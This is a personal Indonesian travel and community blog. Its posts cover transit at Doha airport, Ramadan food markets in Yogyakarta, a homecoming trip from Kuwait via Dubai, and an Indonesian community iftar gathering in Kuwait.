Setelah proses custom clearance selesai, kita bisa segera memasuki lantai pertama terminal transfer. Sebenarnya terminal transfer di Doha international airport (DIA) tidaklah begitu besar, masih jauh lebih besar di terminal 3, Dubai international airport. Di lantai pertama terminal transfer di DIA, ada beberapa gate. seperti nampak di dalam photo di samping kanan, Gate 1-6 terletak di lantai satu. Selain itu di lantai satu juga ada Qatar Duty Free (QDF). Sedangkan Gate 7-41 terletak di lantai 2. QDF juga relatif tidak besar. Lokasi utamanya terletak di lantai satu. QDF yang terletak di lantai satu mempunyai beberapa konter snack seperti coklat dan permen, cinderamata, minuman beralkohol, rokok serta cerutu yang menyambung ke konter parfum, tas, aksesoris dan perhiasan. Biasanya disana akan dipajang dua mobil mewah sebagai lucky draw bagi pengunjung yang beruntung. Pada saat photo di sebelah kiri ini saya ambil, dua mobil mewah yang terpanjang disana adalah Bentley dan Mercedes. Saya sendiri belum pernah mencoba mengikuti undian lucky draw ini, karena kalau tidak salah pembelian minimal 1000 QAR (Qatari Riyal) baru mendapatkan satu kupon undian. Dan saya belum pernah berbelanja di QDF menghabiskan sebanyak itu hehe. Tentang perbandingan harganya apakah lebih murah atau lebih mahal dibandingkan dengan Duty Free di bandara lain terus terang saya tidak mempunyai datanya, karena sama sekali belum pernah mencoba untuk membandingkan. Sedangkan QDF yang terletak di lantai 2 terdiri dari konter parfum (biasanya berupa satu stand display dari satu merk parfum saja), konter snack, konter elektronik, dan konter cindera mata. Konternya tentu saja hanya berupa konter kecil, seluas ruko. Di samping konter-konter tadi, ada beberapa – saya menyebutnya portable duty free – yang didorong oleh petugas QDF, sama seperti apa yang kita lihat ketika awak kabin menawarkan duty free di sela-sela gang kursi penumpang di dalam pesawat. Barang duty free yang dijual di kereta-kereta dorong ini pada umumnya rokok dan parfum.

Selain konter-konter duty free di atas, kita juga bisa menemukan beberapa konter yang menjual makanan dan minuman. Di lantai satu ada satu konter cafe menjual kopi, teh, dan kue-kue. Konter ini letaknya di belakang duty free yang ada di lantai satu. Oiya mata uang resmi yang digunakan untuk traksaksi jual beli di QDF adalah Qatari Riyal. Selain itu disini juga menerima mata uang utama dunia seperti Euro, USD, dan beberapa mata uang negara GCC (negara teluk). Kalau kita misalnya mempunyai mata uang USD yang lecek, terlipat sedikit, terlipat banyak, jangan khawatir uang masih tetap bisa digunakan untuk transaksi dan nilainya tidak akan berubah. Selain di lantai satu, cafe semacam ini bisa ditemukan juga di lantai dua. Bagi yang ingin menikmati hidangan yang agak berat seperti nasi dan menu fast food, konternya bisa ditemukan di lantai dua. Disana bisa ditemukan beberapa macam pilihan sesuai selera kita. Mungkin menunya tidak selengkap seperti yang anda harapkan atau bahkan kalau kita bandingkan dengan beberapa pilihan yang ada di bandara Soekarno Hatta. Di samping konter food court ini ada ruangan/lounge khusus pemegang Priviledge Club Silver. Sayang saya tidak sempat mengambil photo lounge-nya. Tetapi secara garis besar adalah sebuah ruangan, lumayan luas, berisi deretan bangku dan kursi tempat penumpang pemegang kartu silver beristirahat. Di Lounge silver ini terdapat ruangan komputer yang berisi beberapa buah komputer untuk penumpang berselancar di dunia maya. Namun di ruang komputer ini tidak ada kursinya, layar monitor komputer di letakkan di rak-rak dan orang harus sambil berdiri untuk mengaksesnya. Selain ruang komputer ada juga ruangan merokok, ruang sholat, toilet dan tentu saja ruang utama adalah tempat beristirahat (duduk saja) sambil menikmati beragam minuman hangat, coke, dan snack. Kalau saya bandingkan dengan lounge di Soekarno Hatta (SHIA), lounge silver di DIA ini masih jauh lebih sederhana dibandingkan apa yang ada di SHIA. Di lantai dua ini selain lounge silver khusus penumpang Qatar Airways, juga terdapat lounge pemegang Priviledge Club gold. Letaknya tidak jauh dari silver lounge. Selain kedua lounge yang dikhususkan untuk penumpang Qatar Airways ini, juga terdapat satu lounge lagi khusus untuk beberapa maskapai yang lainnya, seperti Emirates, Etihad, dll.

Tempat makan di lantai dua yang lainnya yang bisa dicoba adalah terletak di pojok ruangan. Letaknya di dekat wahana tempat anak-anak bisa main (kecil saja, tidak luas). Restoran ini lebih banyak menyediakan menu India/Pakistan dan Arab. Cara penyajiannya prasmanan, kita bisa memesan makanan terlebih dahulu, kemudian baru memesan minuman. Sama seperti di konter lainnya, kita bisa menggunakan mata uang selain Qatari Riyal seperti yang sudah saya sebutkan di atas. Kita bisa duduk santai di meja-kursi yang di sediakan di depan konter restoran ini sambil menunggu waktu transfer selesai. Apabila kita membawa anak-anak di bawah usia 5th, ada wahana permainan anak di dekat restoran ini. Memang tidak besar, namun mungkin cukup untuk membuat anak-anak senang sambil menghabiskan waktu. Itu pun kalau anak-anak tersebut tidak capek. Apabila kita ingin menarik uang tunai melalui ATM atau menukarkan uang lewat money changer, di dekat permainan anak-anak ini ada satu ATM dan juga money changer.

Kita tidak perlu khawatir untuk ketinggalan pesawat di saat sedang menunggu waktu transit selesai. Selain adanya update keberangkatan pesawat yang selalu disiarkan melalui pengeras suara, kita juga bisa mengecek jadwal keberangkatan pesawat melalui layar-layar monitor yang dipasang di beberap tempat. Di sana akan tertera informasi no pesawat, jam keberangkatan, dan di berangkatkan melalui gate berapa pesawat tersebut. Bagi yang lebih senang menunggu sambil duduk di ruang tunggu keberangkatan, di lantai dua juga disediakan banyak kursi. Mungkin ada beberapa di antara kita yang ingin beristirahat saja dibandingkan jalan-jalan melihat suasana atau menikmati DIA di sela-sela menghabiskan waktu transfer. Ketika gate sudah dibuka untuk boarding, penumpang akan dipindahkan ke ruangan sementara tempat nantinya menunggu bus yang akan membawa dari terminal transfer menuju ke pesawat. Jadi seperti kedatangan di terminal transfer, untuk keberangkatan dari terminal transfer ke pesawat kembali lagi harus naik bus, bukan melalui garbarata. Dan menurut pengalaman saya, jarak tempuh dari terminal ke pesawat kadang memakan waktu tempuh 20-30 menit dengan menggunakan bus tersebut.

Demikian tulisan saya mengenai suasana transit di Doha International Airport. Semoga bisa membantu memberikan gambaran bagi anda semua yang baru pertama kali atau belum pernah transit disana. Insha Allah minggu ke-4 bulan Oktober 2012 nanti saya melakukan perjalanan kembali dan kebetulan transit di Abu Dhabi (e-ticket seperti tampak dalam gambar di sebelah kanan). Nantikan tulisan saya berikutnya di bulan Oktober 2012 mengenai suasana transit di Abu Dhabi International Airport. Sedangkan pertengahan bulan November 2012 nanti kembali saya akan melakukan perjalanan. Kali ini Insha Allah saya akan menggunakan pesawat Emirates (e-ticket seperti nampak di gambar sebelah kiri). Dengan demikian tulisan saya di bulan selanjutnya adalah mengenai suasana transit di Dubai International Airport. Semoga apa yang akan saya sampaikan bermanfaat. Salam….

Posted in Cerita-Cerita | Tagged , , , , | 51 Comments

Berburu Menu Buka Puasa di Pasar Sore Ramadhan Kauman dan Jogokaryan

Saya yakin di tiap-tiap kota mempunyai pusat atau sentra penjualan menu buka puasa atau takjil, misalnya di Jakarta menu takjil banyak dijual di daerah Bendungan Hilir (Benhil). Nah kebetulan saya sedang mudik pulang kampung ke Jogja. Ada beberapa tempat di Jogja yang menjadi sentra penjualan menu buka puasa, seperti di seputaran UGM, Kauman, Jogokaryan dan masih banyak lagi.

Dua-tiga hari menjelang berakhirnya bulan suci Ramadhan 1433 H ini, saya sempat berburu menu buka puasa atau takjil di dua lokasi di daerah Jogja yaitu di pasar sore Ramadhan Kauman, dan di kampung Ramadhan, Jogokaryan. Kedua lokasi ini secara khusus  dirubah menjadi pasar tiban dan hanya ada selama bulan puasa. Dan saya sempat menyaksikan beberapa kali, kedua pasar tiban ini pernah diliput dan ditayangkan oleh beberapa stasiun TV swasta.

Kauman adalah sebuah kampung di Jogja, kurang lebih berjarak 1 km ke arah barat dari titik nol (lokasi monumen serangan umum 1 maret) atau beberapa ratus meter sebelah utara berbatasan dengan alun-alun utara Keraton Jogja. Kauman adalah sebuah kampung bernuansa sangat kental dengan salah satu organisasi Islam terbesar di tanah air karena di kampung ini salah satu tokoh besar penyebar agama Islam di Indonesia, Kyai Haji Ahmad Dahlan dilahirkan. Di setiap bulan puasa, sebuah gang kecil berukuran lebar kurang lebih 3 meter dan panjang kurang lebih 200 m di kampung Kauman ini dirubah menjadi pasar sore tempat dijajakannya berbagai macam menu buka puasa atau takjil, dari berbagai macam sayuran, minuman seperti es kelapa muda dengan campuran air gula merah, es kopyor sirup, es cendol, dan makanan ringan khas yang hanya ada di bulan puasa seperti kricak. Kricak adalah makanan kecil terbuat dari adonan ketan, ditaburi parutan kelapa dan diberi sepotongan irisan pisang. Pasar sore Kauman ini biasanya mulai buka kurang lebih sekitar jam 15 dan akan berakhir menjelang maghrib atau sesaat waktu berbuka puasa tiba. Harga yang ditawarkan tidaklah mahal. Dengan uang 50 rb, anda bisa mendapatkan berbagai macam menu takjil di pasar sore Ramadhan Kauman ini. Pedagang menjajakan menu takjilnya di meja-meja kecil yang di tata di sepanjang gang ini. Ada juga beberapa di antaranya menggelar alas plastik di jalanan gang dan menjajakan dagangannya di atasnya. Ada salah satu penjual yang menarik perhatian saya, seorang Ibu menggelar takjil berupa bakmi dan cap cay dengan membentuknya seolah menjadi sebuah gunung bakmi. Rata-rata dagangan dijual di ruang terbuka, tidak ditempatkan dalam ruang tertutup misalnya diberi sekat plastik atau kain. Bagaimana dengan higienitas dari barang dagangannya, apakah tidak takut terkena debu atau asap kendaraan mengingat karena pasar sore Kauman ini lokasinya tidak jauh dari jalan raya KH Ahmad Dahlan yang banyak dilalui kendaraan baik motor, mobil, maupun bus. Yang pasti antara penjual dan pembeli sama-sama senang. Termasuk salah satunya saya sendiri. Salah satu menu takjil yang saya beli adalah sebungkus bakmi dicampur dengan cap cay goreng (terbuat dari adonan tepung terigu dan telur kemudian digoreng, diiris-iris bentuk dadu dan ditaburi irisan sayuran kubis dan wortel). Ketika waktu berbuka dan sudah sampai rumah, bakmi dan cap cay goreng ini yang saya santap pertama kali dan ternyata sampai sekarang ini saya tidak merasakan sakit perut, yang ada rasa puas dan kenyang karena ternyata bakmi gorengnya enak banget hehe.

Hari berikutnya, pasar sore Ramadhan yang kedua yang saya datangi untuk mencari menu takjil adalah terletak di kampung Jogokaryan. Jogokaryan letaknya kurang lebih 4 Km ke arah selatan dari titik nol, berdekatan dengan pondok pesantren Krapyak. Berbeda dengan Kauman, event pasar tiban di kampung Jogokaryan ini diberi nama Kampung Ramadhan, mengambil tempat sepanjang jalan sampai masjid Jogokaryan kurang lebih sepanjang 300 m. Iya betul, karena lokasinya berada di kanan kiri jalan utama, tentu saja mengakibatkan lalu lintas padat merayap ketika melintasi jalan Jogokaryan karena dipenuhi penjual, pembeli maupun pengguna jalan itu sendiri. Saya sendiri tidak mau report terkena macet, dengan memarkir mobil saya di halaman parkir sebuah supermarket yang letaknya tidak jauh dari lokasi kampung Ramadhan ini. Walaupun menyebabkan jalanan menjadi tersendat, tetapi saya tidak mendengar satu kalipun bunyi klakson diobral, karena orang-orang sudah sama-sama maklum ketika melintasi jalan Jogokaryan ini akan melintasi kampung Ramadhan. Menu takjil yang dijual hampir sama dengan yang ada di Kauman, berbagai macam sayuran, minuman, dan makanan ringan lainnya. Yang sedikit membedakan adalah adanya penjual-penjual makanan yang memasak atau menggoreng makanannya di tempat, seperti penjual pizza, sosis, bakso, dan empek-empek. Ada juga penjual kopiah menggelar dagangannya di pinggir jalan. Saya sempat juga membeli sebuah kopiah seharga 10rb yang nanti akan saya pakai ketika sholat Idul Fitri hari minggu besok. Hal ini wajar, karena lokasi kampung Ramadhan di Jogokaryan lebih luas di sepanjang kanan dan kiri jalan raya, dibandingkan di Kauman yang terletak hanya di sepanjang gang kampung. Sebenarnya kalau dipikir-pikir dan diperhatikan, apa yang disajikan di sini tidak ada bedanya dengan apa yang ada di food court, pasar, atau sentra penjual makanan lainnya. Namun anehnya setiap sore tempat-tempat semacam pasar tiban yang ada di Kauman dan Jogokaryan ini selalu padat didatangi pengunjung dan rela bermacet-macetan. Mungkin yang menyebabkan mereka mau datang adalah karena rasa penasaran ingin melihat suasana pasar sore Ramadhan itu sendiri. Saya sendiri di Jogokaryan ini menyempatkan untuk membeli beberapa menu takjil, seperti pepes ikan, lumpia goreng, beberapa macam menu sayuran, dan wader goreng. Wader adalah sejenis ikan air tawar, berukuran paling besar setengah jari kelingking orang dewasa, biasanya hidup di sungai. Ketika digoreng dan dibumbui rasanya renyah gurih..hhmm enak, cocok disantap dengan nasi putih yang pulen dan panas. Wader goreng begitulah orang Jogja menyebutnya. Goreng ikan ini sangat umum dan mudah sekali dijumpai di toko oleh-oleh yang ada di Jogja. Biasanya kalau belinya di toko oleh-oleh, wader goreng ini akan dibungkus di kemasan yang lebih rapi, menarik dan ada labelnya. Nah, karena saya membeli wader gorengnya di event pasar sore Ramadhan, maka apa yang saya dapatkan adalah wader goreng yang dibungkus di plastik biasa tanpa label. Tapi rasanya sama saja kok, tepat enak dan gurih. Saya juga melihat ada satu pedagang menjajakan ketupat janur. Tentu saja belum ada isinya, alias masih kosong. Ketupat-ketupat kosong ini ditempatkan di keranjang yang diletakkan di kursi belakang motornya. Mungkin menjelang hari raya Idul Fitri yang sebentar lagi akan tiba, si penjual memanfaatkan situasi untuk mencoba keberuntungan dengan menjual ketupat janur ini.

Semoga tahun depan saya masih diberi umur panjang sehingga masih bisa menjumpai lagi suasana bulan suci Ramadhan 1434 H, menikmati pasar sore Ramadhan di Kauman, Jogokaryan, dan mungkin di seputaran bunderan UGM..aminn.

Posted in Cerita-Cerita | Tagged , , , | 3 Comments

Saya Juga Mudik Mau Merayakan Lebaran di Kampung….

Entah kapan dan siapa yang memulai fenomena mudik di tanah air  yang terjadi setiap tahunnya. Suasana senang setelah selesai menjalankan ibadah puasa Ramadan bercampur perasaan berdebar berharap-harap cemas ingin cepat sampai di kampung halaman bertemu dengan sanak saudara setelah sekian lama tidak bertemu karena terpisah jarak yang begitu jauh, menghinggapi perasaan setiap pemudik. Mereka rela menggunakan moda transportasi apapun asal bisa terangkut dan sampai di tempat tujuan pemudik.

Fenomena mudik saya rasa tidak terjadi di semua negara. Setelah beberapa tahun merantau di tanah seberang, saya baru merasakan suasana mudik yang begitu meriah, bermakna, dan ada gregetnya hanya terjadi di Indonesia. Silahkan cek di negara-negara Timur Tengah sekali pun, bahkan mereka merayakan hari raya Idul Fitri tidak semeriah ketika mereka merayakan hari raya Idul Adha. Kebalikannya yang terjadi di Indonesia. Hari raya Idul Adha dirayakan tidak semeriah ketika menyambut lebaran, hari raya Idul Fitri.

Berbicara tentang mudik, saya pun tidak ketinggalan untuk menyiapkan segalanya untuk mudik pulang ke kampung halaman saya di sebuah perumahan asri di Jogja. Jauh-jauh hari, sebulan sebelum hari keberangkatan, saya sudah memesan tiket, disamping untuk menghindari kehabisan tiket, tentu saja pemesanan jauh hari akan mendapatkan harga tiket yang relatif murah.

Saya tidak membawa banyak barang untuk mudik, hanya dua buah tas traveling. Malam ini saya pun sudah melakukan check-in online pesawat Emirates EK0356 yang besok malam akan membawa saya dengan tujuan ke Jakarta. Check-in online bisa dilakukan 24 jam sebelumnya. Keuntungan check-in online adalah kita tidak menjadi terburu-buru untuk berangkat ke bandara dan nanti pada saat di counter check-in tidak perlu untuk antri berlama-lama, cukup langsung menuju counter yang disediakan khusus untuk penumpang yang sudah melakukan check-in online. Tiket domestik ke Jogja pun sudah saya print. dalam masa high season, seperti sekarang ini sangat susah untuk mendapatkan tiket sesuai dengan jadwal dan harga yang kita maui. Bisa mendapatkan tiketpun sudah sangat disyukuri. Kalau penerbangan saya nanti sesuai jadwal yang tertera di tiket, saya akan sampai di rumah kurang lebih jam 21.00. Insha Allah, hari Sabtu pagi bisa menikmati santap sahur di rumah.

Saya mengharapkan kelas ekonomi di penerbangan malam nanti akan penuh, sehingga kemungkinan tiket saya diupgrade ke kelas bisnis semakin besar. Ternyata apa yang saya harapkan menjadi kenyataan. Sesampainya di depan konter petugas check-in mengatakan kalau tiket kelas ekonomi saya di-upgrade ke kelas bisnis dengan gratis. Lumayan, bisa istirahat cukup nyaman di dalam pesawat. Dan bisa mampir ke lounge untuk menambah menu buka puasa, maklum tadi di apartemen saya sempat berbuka puasa seadanya. Dua potong kue dan segelas jus jambu cukup untuk menemani saya di lounge sambil menunggu waktu boarding tiba.

Pesawat Emirates yang membawa saya dari Kuwait menuju Dubai mendarat tepat pukul 1.00 dini hari waktu setempat. Sesampainya di terminal 3 Dubai international airport saya segera mencari beberapa oleh-oleh titipan dari rumah. Setelah selesai saya segera menuju ke Business Lounge yang letaknya dekat di Gate 122, sekalian mampir sahur dan mandi biar badan terasa seger dan tidak merasa ngantuk lagi. Ketika sampai di shower room ternyata sudah ada beberapa orang yang ngantri. Saya pun ikut dalam barisan. Setelah menunggu beberapa saat tibalah giliran saya. Handuk bersih, sikat gigi dan odol diberikan petugas kepada saya. Shower room-nya cukup  bersih, ada air hangat dan dingin diatur sesuai selera dan tentu saja shampoo dan shower gel tersedia disana. Shower room untuk cowok dan cewek tentu saja dipisahkan. Masing-masing shower room ada dua kamar mandi. Tas saya bawa masuk, dan saya sempat mengambil gambar suasana di dalam kamar mandi di business lounge Emirates ini. Setelah selesai mandi, saya menyempatkan diri untuk mengambil beberapa potong kue dan segelas air putih untuk sahur.

Pesawat Emirates EK356 menuju Jakarta akan diberangkatkan dari Gate 229, jadi saya harus berjalan dari Gate 122 ke Gate 229 yang jaraknya lumayan kurang lebih 20 menit jalan kaki. Sesampai di Gate 229 saya melihat gate sudah dibuka dan saya pun ikut dalam antrian. Dan lagi-lagi tiket kelas ekonomi yang saya pegang di-upgrade ke kelas bisnis dengan gratis. Alhamdulillah, bisa rebahan dan tidur lebih nyaman. Apalagi perjalanan panjang Dubai menuju Jakarta. Belum lagi nanti saya harus nyambung ke penerbangan domestik berikutnya dari Jakarta menuju ke Jogja. Kurang lebih pukul 4.30an waktu setempat, boarding dimulai. Penumpangnya membludak, dan saya rasa 50% di antaranya penumpangnya bule. Dalam hati saya ikut senang, sukurlah Indonesia semakin dikenal sebagai salah satu tempat tujuan wisata para bule-bule ini.

Memasuki pesawat, segera saya mencari tempat duduk seperti yang diarahkan oleh pramugari. Tempat duduk saya paling depan sendiri. Ternyata saya bersebelahan dengan bule Selandia Baru. Dia cukup fasih berbahasa Indonesia, tinggal di Kemang, sudah 15 tahun tinggal di Indonesia. Menurut dia, selama 15 tahun terakhir bekerja di salah satu perusahaan tambang emas terbesar yang di Indonesia wilayah kerjanya ada di Papua. Dia dalam perjalanan bisnis dari Rusia membeli helikopter untuk perusahaannya. Dan menurut dia lagi, Indonesia adalah rumahnya, dan tidak  mau kembali lagi ke Selandia Baru. Entah sebuah pernyataan tulus atau hanya basa-basi. Sepanjang perjalanan menuju ke Jakarta, seperti biasa berbagai ragam menu makanan silih berganti hilir mudik ditawarkan, apalagi di kelas bisnis. Namun Alhamdulillah saya tetap berpuasa, dan si bule pun permisi kepada saya ketika dia sedang atau mau menyantap makanan. Sepanjang perjalanan saya perhatikan si bule ini selalu order wine, mungkin 1-2 botol besar wine putih dia habiskan. Bahkan di satu kesempatan ketika ngobrol dengan saya, dan ada kata-kata yang sedikit ga jelas, dia meminta maaf, katanya karena dia sedikit mabuk hehe.

Jam 15.30 WIB pesawat Emirates landing di bandara Soekarno Hatta. Perasaan senang menghinggapi diri saya, karena pesawat mendarat dengan selamat sampai tujuan. Saya turun dari pesawat dan setelah urusan imigration clearance selesai, saya segera menuju ke carousel untuk mengambil bagasi. Di sela-sela menunggu bagasi muncul, saya sempatkan untuk mengisi form bea cukai. Saya sempat meminjam pulpen salah seorang petugas angkasa pura. Setelah semuanya selesai dan bagasi sudah saya ambil, segera saya berjalan menuju ke scanner bea cukai. Nah pada saat itu petugas angkasa pura yang pulpennya saya pinjam tadi berteriak,”Pak, saya kira Bapak sudah keluar, saya cari-cari dari tadi. Ini passport Bapak tertinggal di tempat pengisian form tadi”. Masya Allah..ternyata passport saya hampir tertinggal, untung ada petugas angkasa pura yang baik hati mencari dan membawakan passport saya  tadi. Terima kasih Pak…

Saya harus pindah terminal 1, karena saya menggunakan Lion untuk penerbangan selanjutnya menuju ke Jogja. Jadwal penerbangan tertera pukul 19.00, masih cukup waktu untuk menuju ke teminal 1. Saya keluar bandara dan naik ke terminal kedatangan supaya lebih gampang untuk mencari shuttle bus berwarna kuning yang memang disediakan khusus oleh pihak penyelanggara bandara untuk melayani transportasi penumpang yang akan pindah terminal secara gratis.

Saya sempatkan membeli sebotol minuman dan snack untuk sekedar membatalkan puasa nanti. Setelah segala urusan check-in selesai saya naik ke atas menuju ke gate A-5 dimana pesawat Lion air tujuan Jogja akan diberangkatkan. Terminal 1A ini memang khusus disewa oleh maskapai Lion air sebagai hub mereka. Semua penerbangan Lion tujuan domestik diberangkatkan dari terminal 1A ini. Saya lihat terminal sudah lumayan tertata rapi dan para penumpang pun sudah bisa tertib. Tidak seperti beberapa waktu lalu, dimana tidak banyak bangku atau kursi yang bisa dipakai duduk para penumpang, sehingga  banyak penumpang duduk di selasar menuju ke pintu gate. Dan satu lagi waktu itu banyak sekali penumpang yang merokok di sembarang tempat, walaupun jelas-jelas tanda larangan merokok tertempel di dinding-dinding kaca. Sekarang saya sudah bisa merasa nyaman duduk di gang menuju ke ruang tunggu. Sejuk, bersih, penumpangnya tertib, dan tentu saja tidak bau asap rokok.

Panggilan boarding dilakukan kurang lebih pukul 19.00. Saya baru tahu ternyata penerbangan Lion yang jam 19.00 ini membawa penumpang tujuan ke Jogja dan Denpasar (transit di Jogja 20 menit). Wajar saja kalau penumpangnya penuh. Boeing 737-ER semua kursi terisi penuh, kecuali 2 kursi paling belakang (karena saya duduk paling belakang, jadi tahu hehe). Penerbangan sepanjang perjalanan lancar. Dan Alhamdullilah akhirnya pesawat landing dengan sempurna di bandara Adi Sutjipto satu jam sesudahnya. Setelah mengambil bagasi, saya pun keluar bandara dan memesan taksi menuju ke rumah. Hawa sejuk malam kota Jogja menghinggapi tubuh saya menambah perasaan lega pada diri saya ketika menginjakkan kaki di tanah kelahiran saya ini.

Tidak lupa pada kesempatan kali ini saya ingin mengucapkan selamat mudik di kota anda masing-masing, selalu waspada, hati-hati di jalan, semoga sampai di kota tujuan dengan selamat tidak kurang satu apapun.

Posted in Cerita-Cerita | Tagged , , , , , , | Leave a comment

Relaxing Instrumental Music…

Saya ingin berbagi mp3 beberapa musik instrumentalia, saya download dari YouTube, dari 3 musisi yaitu Gheorghe Zamfir, Kitaro, dan Kenny G . Musiknya ringan, saya sering dengarin ketika butuh relaksasi sehabis beraktifitas seharian. Silahkan menambah daftarnya sendiri, dan kalau tidak keberatan daftar list anda dibagikan ke saya juga hehe

Selamat menikmati, semoga bisa menghibur…

Posted in Cerita-Cerita | Tagged , , , , | 2 Comments

Acara Buka Bersama Keluarga Indonesia

Hari Senin, 30 Juli 2012 kemaren, saya terima BBM dari Mas Eday, mengajak rapat  membahas rencana untuk mengadakan acara buka bersama. Saya tanya kepada beliau rencana acara buka puasanya kapan. Mas Eday menjawab hari Jumat, 3 Agustus 2012. Akhirnya beliau mengirimkan undangan rapat ke beberapa pengurus yang masih tinggal dan belum pulang ke tanah air untuk membahas persiapan acara buka bersama, mengingat waktu yang semakin dekat, tinggal beberapa hari tersisa.

Rapat diadakan pada hari Senin sore sepulang kantor, 30 Juli 2012 di apartemen saya, Rosa Castle, Lt7, Flat #19, dihadiri oleh 4 orang, saya sendiri, Mas Eday, Pak Yanto, dan Pak Ridwan. Beberapa pengurus kebetulan sedang berhalangan dan tidak bisa ikut rapat. Hal yang dibahas dalam rapat sore itu antara lain perkiraan jumlah undangan yang akan datang di acara buka bersama, tempat yang akan dipakai untuk acara, dan katering. Dari data yang kita punya, jumlah peserta yang akan diundang kurang lebih 40 orang sudah termasuk dengan staf KBRI, mengingat beberapa keluarga sudah pulang ke tanah air. Untuk tempat dilangsungkan acara saya tawarkan di apartemen saya, karena sudah tidak sempat dan tidak ada waktu lagi untuk mencari lokasi yang lainnya. Untuk masalah katering diputuskan untuk memesan katering dari salah satu keluarga Indonesia disini yang melayani katering masakan Indonesia. Rapat selesai menjelang berbuka, kemudian dilanjutkan buka bersama kami berempat dengan menu sebungkus nasi, ikan bandeng, sayur sop, dan sambel terasi. Walaupun berbuka dengan menu sederhana, rasanya nikmat, karena disantap bersama-sama. Kebetulan keluarga Mas Eday dan Pak Yanto sudah duluan pulang berlibur ke tanah air.

Hari Jumat pagi cuaca masih cerah, kemudian menjelang siang tiba-tiba cuaca berubah berdebu dan berangin. Ternyata kabut pasir (sandstorm) datang. Hal yang sangat biasa terjadi di negara ini. Percaya atau tidak, kabut pasir sering datangnya di akhir pekan. Sehabis sholat Jumat, beberapa pengurus sudah mulai datang ke apartemen saya untuk membantu beres-beres mempersiapkan segala sesuatunya, memindahkan kursi keluar, menggelar karpet, menempel spanduk IATMI di dinding dan menurunkan katering dari mobil dan di bawa ke lantai 7. Sempat terbersit kekhawatiran dalam pikiran saya kalau banyak yang akan tidak datang, mengingat cuaca di luar yang kurang bersahabat, panas disertai debu pasir yang cukup tebal.

Ternyata kekhawatiran saya tidak terbukti. Pukul 17.00 satu per satu tamu undangan mulai berdatangan, termasuk staff dari KBRI. Rencana semula Bapak Dubes RI akan menghadiri acara buka bersama ini, namun ternyata di saat yang sama beliau juga menghadiri acara buka bersama dengan staff diplomatik dari negara lain. Beberapa saat kemudian acara dibuka. Seperti biasa yang menjadi MC adalah Mas Alex (seperti tampak dalam photo di samping kanan, duduk di tengah berbaju koko krem, berkopiah hitam). di dampingi Bapak-Bapak staff KBRI (duduk sebelah kiri pertama, kedua, dan keempat), dan Ketua IATMI Kuwait, Mas Eday (duduk sebelah kiri no 3). Mas Eday mengawali acara dengan memberikan sambutan pembukaan, menyampaikan beberapa informasi yang terkait dengan kegiatan organisasi. Kemudian acara dilanjutkan dengan sambutan dari salah seorang perwakilan dari KBRI, Pak Budiman (kanan no 3, gambar sebelah kiri). Beliau menyampaikan informasi terkait dengan tugas-tugas KBRI dalam melayani WNI di negara ini, jumlah total WNI yang ada disini, status memoratorium tenaga kerja informal yang masih belum dibuka kembali, dan rencana pemerintah untuk lebih mendorong dan mengirimkan tenaga kerja formal. Menurut beliau saat ini sedang dalam pembahasan dengan pemerintah dan pengusaha setempat untuk mengirimkan kurang lebih 1600 TKI profesional yang akan ditempatkan di sektor retail dan perhotelan. Beliau menambahkan kembali, bahwa pemerintah pusat sudah mulai memikirkan untuk benar-benar menghentikan pengiriman TKI informal terutama yang dikirimkan ke middle east per tahun 2017 dikarenakan upah yang tidak sesuai dan perlindungan hukum lemah.

Acara dilanjutkan dengan penyerahan plakat untuk anggota yang kebetulan akan meninggalkan Kuwait dan pindah kerja di negara lain. Untuk kali ini, ada dua keluarga yang akan segera meninggalkan negara ini. Yang pertama keluarga Mas Chairul Dani yang akan pindah salah satu perusahaan minyak di Oman. Kemudian yang kedua keluarga Mas Salman Ferdian yang akan pindah ke Abu Dhabi namun masih bekerja di kantor yang sama, dan yang terakhir keluarga Mbak Merry Mulyani yang memutuskan untuk pulang dan berkarya di tanah air. Namun sayangnya Mbak Merry sedang berhalangan dan tidak bisa menghadiri acara buka puasa dan penyerahan plakat kenang-kenangan kepada beliau.

Setelah penyerahan plakat kedua keluarga ditodong untuk memberikan sepatah-dua patah kesan selama beliau-beliau ini tinggal di Kuwait.

Sudah menjadi kebiasaan juga, apabila ada salah satu anggota yang sedang mempunyai bayi yang baru saja lahir, maka pengurus atas nama organisasi akan memberikan sedikit kenang-kenangan kepada anggota tersebut. Nah untuk kali ini, Mas Alex mendapatkan kenang-kenangan atas kelahiran putra pertamanya pada bulan Juni 2012 kemaren. Walaupun nilai cindera matanya tidak begitu besar, namun pesan moral yang akan diangkat dan lebih ditonjolkan adalah rasa untuk lebih mempererat tali persaudaraan antar sesama anggota IATMI yang ada di Kuwait.

Kultum atau ceramah menjelang berbuka disampaikan oleh Bapak Ahmad Ma’rufi. Beliau kebetulan juga merupakan salah satu staff KBRI. Isi ceramah mengenai keutamaan beribadah di bulan puasa di bandingkan dengan hari dan bulan biasa di luar bulan suci ramadhan.

Kekhawatiran yang saya rasakan seharian tadi mengenai ketidaklancaran acara berbuka puasa tertutupi sudah dengan selesainya serangkain acara sejauh ini. Saya perhatikan tamu undangan pun serius mendengarkan isi ceramah yang disampaikan oleh Pak Ahmad. Sambil mendengarkan ceramah yang menyejukkan hati, minuman dan takjil berbuka puasa mulai dibagikan, air mineral, kurma, dan beberapa ragam jajan pasar dan gorengan.

Makanan ringan ini dipesan dari salah satu keluarga Indonesia yang memang melayani pemesanan katering kalau semisal ada acara-acara khusus, misalnya kumpul-kumpul keluarga Indonesia seperti yang dilakukan sore kali ini. Tentunya hal ini banyak memberikan keuntungan bagi warga negara Indonesia yang ada disini, karena setiap saat masih bisa menikmati makanan atau cemilan khas Indonesia, disamping itu tentu saja merupakan peluang usaha bagi warga negara Indonesia yang lainnya yang memang mempunyai keahlian khusus memasak. Selain beragam jajan pasar, juga sudah disiapkan menu masakan yang lainnya, seperti es campur yang kebetulan disiapkan oleh salah satu keluarga yang ikut datang di acara buka bersama ini. Sedangkan menu utama berbuka puasa nanti sudah disiapkan sop buntut, ayam rica, ayam  goreng, karedok, kerupuk dan tidak ketinggalan juga buah semangka. Semua makanan yang disiapkan sangat bernuansa tanah air, tidak ada sama sekali menu makanan yang berbau-bau lokal, tentu saja kecuali kurma. Namun kurma juga sudah sangat umum disajikan di tanah air juga. Semua makanan sudah siap disajikan di dapur menunggu saat berbuka tiba.

